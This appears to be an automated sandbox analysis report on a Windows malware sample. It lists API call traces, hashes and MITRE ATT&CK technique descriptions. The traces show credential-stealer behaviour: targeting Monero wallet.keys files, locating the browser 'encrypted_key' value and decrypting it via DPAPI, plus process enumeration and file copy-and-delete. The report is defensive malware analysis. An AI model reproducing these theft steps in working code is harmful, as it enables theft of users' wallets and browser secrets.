Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 944510f3d575a61b960ffae23f87f07eb524aa82e161b8fbb1d78a59cf1e88fa
Instruction ID: 20ec0dd517c2e32346c91c63717b9c2e41658d17c1b0268b43c2b73ce1232c47
Opcode Fuzzy Hash: 944510f3d575a61b960ffae23f87f07eb524aa82e161b8fbb1d78a59cf1e88fa
Instruction Fuzzy Hash: AA9135728901099BEB15FBA0DC92DEE733CEF64305F924168F517660A1EF346A49CB62

Function 0013D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

Part of subcall function 00148B60: GetSystemTime.KERNEL32(00150E1A,01029918,001505AE,?,?,001313F9,?,0000001A,00150E1A,00000000,?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 00148B86

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0013D801
lstrlen.KERNEL32(00000000), ref: 0013D99F
lstrlen.KERNEL32(00000000), ref: 0013D9B3
DeleteFileA.KERNEL32(00000000), ref: 0013DA32

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9cb0e938468f52de3c9177df69366c9ab6b19b306df67bba438eeb4ad3aa9cc5
Instruction ID: 55f10ab8bc79d57919a71d1fc8a38a0bea4a4aa792f7b466147cac2d232c52ea
Opcode Fuzzy Hash: 9cb0e938468f52de3c9177df69366c9ab6b19b306df67bba438eeb4ad3aa9cc5
Instruction Fuzzy Hash: 468125729501059BEB15FBA0DC52DEE733DEF64305F924528F407A60B1EF346A49CB62

Function 00143560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 73c0778fc56be51d9e16aee0ede87d53799441c1ea2f5c0caa164515fe3db45f
Instruction ID: 06040138e3048519500ec4cbb34006b18ac57a8a5486e24934749537ee6907f7
Opcode Fuzzy Hash: 73c0778fc56be51d9e16aee0ede87d53799441c1ea2f5c0caa164515fe3db45f
Instruction Fuzzy Hash: 23417FB1D10109EFDB04EFE4D845AEEB778AF58305F518018F426772A1DB35AA49CFA2

Function 00139CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 001399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001399EC
Part of subcall function 001399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00139A11
Part of subcall function 001399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00139A31
Part of subcall function 001399C0: ReadFile.KERNEL32(000000FF,?,00000000,0013148F,00000000), ref: 00139A5A
Part of subcall function 001399C0: LocalFree.KERNEL32(0013148F), ref: 00139A90
Part of subcall function 001399C0: CloseHandle.KERNEL32(000000FF), ref: 00139A9A

Part of subcall function 00148E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00148E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00139D39

Part of subcall function 00139AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00134EEE,00000000,00000000), ref: 00139AEF
Part of subcall function 00139AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00134EEE,00000000,?), ref: 00139B01
Part of subcall function 00139AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00134EEE,00000000,00000000), ref: 00139B2A
Part of subcall function 00139AC0: LocalFree.KERNEL32(?,?,?,?,00134EEE,00000000,?), ref: 00139B3F

Part of subcall function 00139B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00139B84
Part of subcall function 00139B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00139BA3
Part of subcall function 00139B60: LocalFree.KERNEL32(?), ref: 00139BD3

Strings

DPAPI, xrefs: 00139D89
, xrefs: 00139DC1
"encrypted_key":", xrefs: 00139D30

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 8902fb26e78a9985baebcfd494f96a1d2c038292be1f47f6503d306f05336a42
Instruction ID: f754df688d599622b2d953771d8afb842e2d779776529d3e2ccfb015c378d5e1
Opcode Fuzzy Hash: 8902fb26e78a9985baebcfd494f96a1d2c038292be1f47f6503d306f05336a42
Instruction Fuzzy Hash: 5A3140B6D10209ABCF14EFE4DC86EEFB7B8BF58304F144519E915A7241EB749A04CBA1

Function 00148680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,001505B7), ref: 001486CA
Process32First.KERNEL32(?,00000128), ref: 001486DE
Process32Next.KERNEL32(?,00000128), ref: 001486F3

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

CloseHandle.KERNEL32(?), ref: 00148761

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 561fb8d0ad0d09a48edfc0c47e4b29b8e3b675c6afb6bf4e3b64dbabfcf758f3
Instruction ID: b13949a5ed13a3f5ac5c117aa910e5178bbbeb911a0ddf1bb719043f5f930b37
Opcode Fuzzy Hash: 561fb8d0ad0d09a48edfc0c47e4b29b8e3b675c6afb6bf4e3b64dbabfcf758f3
Instruction Fuzzy Hash: 2A318BB1941218ABDB25DF90CC91FEEB778EF54701F514199E10AA21A0DB306A84CFA2

Function 00147980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00150E00,00000000,?), ref: 001479B0
RtlAllocateHeap.NTDLL(00000000), ref: 001479B7
GetLocalTime.KERNEL32(?,?,?,?,?,00150E00,00000000,?), ref: 001479C4
wsprintfA.USER32 ref: 001479F3

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 09bd579287ed7bc3a42717faa7f9b5cf083bc5431612ee8385e6b4f0c8ccedee
Instruction ID: ce303a0213fff2a3c1d3c83c06d46499d494ee159dc6e83cc9596d5cc221149a
Opcode Fuzzy Hash: 09bd579287ed7bc3a42717faa7f9b5cf083bc5431612ee8385e6b4f0c8ccedee
Instruction Fuzzy Hash: 141118B2904518AACB249FC9DD45BBEBBFCEB4CB11F14425AF605A2290D3395940C7B1

Function 001492E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00143AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00143AEE,?), ref: 001492FC
GetFileSizeEx.KERNEL32(000000FF,00143AEE), ref: 00149319
CloseHandle.KERNEL32(000000FF), ref: 00149327

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 965ce75c5d54e75e02e37aa2595b1eb74200ce1f18d0fbb0ae650482e0ddaf7f
Instruction ID: b405183fe58712042e3d323e203d9484a4094379f86bc7df39b2443282eba695
Opcode Fuzzy Hash: 965ce75c5d54e75e02e37aa2595b1eb74200ce1f18d0fbb0ae650482e0ddaf7f
Instruction Fuzzy Hash: 38F04979E44208BBDB24DFF0DC49F9E77B9BB88721F11C254BA55A72D0D770AA418B40

Function 0014C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0014C74E

Part of subcall function 0014BF9F: __amsg_exit.LIBCMT ref: 0014BFAF

__getptd.LIBCMT ref: 0014C765
__amsg_exit.LIBCMT ref: 0014C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0014C797

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 93e21367fe7243f08bc01ac59e52a207d842b21fc1a4e32b48895c84cee4190f
Instruction ID: 559a86e834c3e5421294987819d79e94332504ad59f80e3c4d95b133feab90dd
Opcode Fuzzy Hash: 93e21367fe7243f08bc01ac59e52a207d842b21fc1a4e32b48895c84cee4190f
Instruction Fuzzy Hash: EEF0E93294A700DBD760BBB8588775E33A06F10723F654149F414AB1F3DF6499409FD6

Function 00144F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00148DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00148E0B

lstrcat.KERNEL32(?,00000000), ref: 00144F7A
lstrcat.KERNEL32(?,00151070), ref: 00144F97
lstrcat.KERNEL32(?,010288C0), ref: 00144FAB
lstrcat.KERNEL32(?,00151074), ref: 00144FBD

Part of subcall function 00144910: wsprintfA.USER32 ref: 0014492C
Part of subcall function 00144910: FindFirstFileA.KERNEL32(?,?), ref: 00144943

Part of subcall function 00144910: StrCmpCA.SHLWAPI(?,00150FDC), ref: 00144971
Part of subcall function 00144910: StrCmpCA.SHLWAPI(?,00150FE0), ref: 00144987
Part of subcall function 00144910: FindNextFileA.KERNEL32(000000FF,?), ref: 00144B7D
Part of subcall function 00144910: FindClose.KERNEL32(000000FF), ref: 00144B92

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 8ca8216d7f199a66644385ecc16a19d18a53e6e8bf8f4bd9049cd9e654b85228
Instruction ID: b7d3a0392f5f07f72890799caabb50d956767b3dd40d054baa646c351909ace9
Opcode Fuzzy Hash: 8ca8216d7f199a66644385ecc16a19d18a53e6e8bf8f4bd9049cd9e654b85228
Instruction Fuzzy Hash: 1621DA76900208B7C765FBB0DC46EED337CABA9301F004548B69D97191EF749AC88B93

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
